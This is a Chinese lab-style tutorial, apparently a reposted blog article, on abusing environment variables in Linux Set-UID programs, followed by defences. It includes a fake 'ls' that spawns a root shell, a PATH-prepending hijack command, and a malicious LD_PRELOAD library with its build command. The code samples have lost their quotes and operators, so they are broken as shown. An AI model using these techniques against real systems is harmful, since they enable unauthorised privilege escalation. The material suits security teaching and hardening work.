[安全攻防实验] 环境变量:Set-UID程序中的隐形攻击向量
1. 环境变量与Set-UID程序的安全隐患在Linux系统中环境变量就像是一个随身携带的工具箱里面装着各种程序运行时需要的信息。但你可能不知道这个看似普通的工具箱在遇到Set-UID程序时可能会变成黑客的攻击武器。Set-UID是一种特殊的权限机制它允许程序以文件所有者的身份运行而不是执行者的身份。比如普通用户运行一个root所有的Set-UID程序时这个程序就拥有了root权限。我曾在一次安全测试中亲眼目睹了环境变量被滥用的全过程。攻击者通过精心构造的PATH环境变量成功让一个Set-UID程序执行了恶意代码。整个过程就像是在程序中植入了一个特洛伊木马程序以为自己调用的是系统命令实际上却在执行攻击者的脚本。2. 环境变量继承机制剖析2.1 父子进程的环境传递当我们在终端输入命令时shell会创建一个子进程来执行这个命令。这个子进程会继承父进程的环境变量就像孩子会继承父母的某些特征一样。我们可以用下面这个简单的C程序来验证#include unistd.h #include stdio.h #include stdlib.h extern char **environ; void printenv() { int i 0; while (environ[i] ! NULL) { printf(%s\n, environ[i]); i; } } int main() { pid_t childPid fork(); if (childPid 0) { // 子进程 printf(Child process environment:\n); printenv(); exit(0); } else { // 父进程 printf(Parent process environment:\n); printenv(); wait(NULL); } return 0; }编译运行后你会发现父子进程的环境变量几乎完全相同。这种继承机制虽然方便但也埋下了安全隐患。我曾经在一个项目中因为疏忽了环境变量的清理导致子进程继承了开发环境中的调试参数差点造成生产环境的信息泄露。2.2 execve与system的区别execve和system都是用来执行外部程序的系统调用但它们在处理环境变量时有本质区别// 使用execve执行程序 char *env[] {MYVARhello, NULL}; execve(/bin/ls, NULL, env); // 使用system执行程序 system(ls);execve会完全替换当前进程的环境而system会先启动一个shell再由shell来执行命令。这个细微差别在实际应用中可能产生巨大影响。有一次我在调试一个Set-UID程序时发现用system调用外部命令时总是出现权限异常换成execve后就正常了。后来才明白是因为system启动的shell会重置某些环境变量。3. Set-UID程序中的经典攻击手法3.1 PATH环境变量劫持PATH环境变量告诉系统在哪里查找可执行文件。当我们在命令行输入ls时系统会按照PATH中的目录顺序查找名为ls的程序。攻击者可以利用这一点进行劫持// 一个简单的Set-UID程序 #include stdlib.h int main() { system(ls); return 0; }如果这个程序是root所有的Set-UID程序攻击者可以这样做创建一个恶意程序命名为ls将包含这个恶意程序的目录添加到PATH的最前面运行Set-UID程序时系统会优先执行攻击者的ls我在一次渗透测试中就用过这种方法。首先创建一个伪造的ls程序// 恶意ls程序 #include stdio.h int main() { printf(Im a fake ls!\n); system(/bin/sh); // 获取shell return 0; }然后修改PATHexport PATH/tmp/malicious:$PATH当Set-UID程序运行时就会执行我的恶意代码而不是真正的ls命令。3.2 LD_PRELOAD攻击LD_PRELOAD环境变量允许我们在程序运行前预先加载指定的共享库。这原本是用于调试和性能优化的功能但也可以被滥用// 恶意sleep函数 #include stdio.h void sleep(int s) { printf(Im not sleeping!\n); system(/bin/sh); }编译为共享库gcc -fPIC -shared -o libmalicious.so malicious.c然后设置LD_PRELOADexport LD_PRELOAD./libmalicious.so当Set-UID程序调用sleep函数时就会执行我们的恶意代码。不过现代Linux系统对这种攻击有防护机制当检测到真实用户ID和有效用户ID不一致时Set-UID程序的典型特征会忽略LD_PRELOAD。4. 防御措施与最佳实践4.1 安全编程规范在编写Set-UID程序时我们应该显式设置关键环境变量使用绝对路径调用外部程序避免使用system等会启动shell的函数及时丢弃不需要的特权例如下面是一个相对安全的实现#include unistd.h #include stdio.h #include stdlib.h int main() { // 清理危险环境变量 clearenv(); setenv(PATH, /bin:/usr/bin, 1); // 使用execve而不是system char *argv[] {/bin/ls, NULL}; char *envp[] {NULL}; execve(argv[0], argv, envp); perror(execve failed); return 1; }4.2 系统加固建议从系统管理员角度可以采取以下措施限制Set-UID程序的数量使用chroot等机制限制程序访问范围定期审计Set-UID程序更新系统以修复已知漏洞我曾经审计过一个服务器发现上面有几十个不必要的Set-UID程序。通过清理这些程序系统受攻击面显著减小。5. 实战案例解析让我们通过一个完整案例来看看环境变量攻击的实际效果。假设有一个管理程序// admin_tool.c - 一个管理备份的Set-UID程序 #include stdlib.h #include stdio.h int main(int argc, char *argv[]) { if (argc ! 2) { printf(Usage: %s filename\n, argv[0]); return 1; } char cmd[100]; snprintf(cmd, sizeof(cmd), /usr/bin/backup %s, argv[1]); system(cmd); return 0; }这个程序有几个安全问题使用system而不是execve没有清理环境变量使用相对路径调用外部程序攻击者可以这样利用创建一个恶意程序命名为backup修改PATH使其优先搜索攻击者控制的目录运行admin_tool时就会执行恶意代码防御方法也很简单// 安全版本 #include unistd.h #include stdio.h int main(int argc, char *argv[]) { if (argc ! 2) { printf(Usage: %s filename\n, argv[0]); return 1; } // 清理环境 clearenv(); // 使用绝对路径和execve char *args[] {/usr/bin/backup, argv[1], NULL}; execve(args[0], args, NULL); perror(execve failed); return 1; }在实际开发中我还遇到过更隐蔽的问题。有一次一个程序通过环境变量传递数据库密码结果因为子进程继承了环境变量导致密码泄露。这种问题很难通过代码审查发现往往要等到出现安全事件才会被注意到。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2621386.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!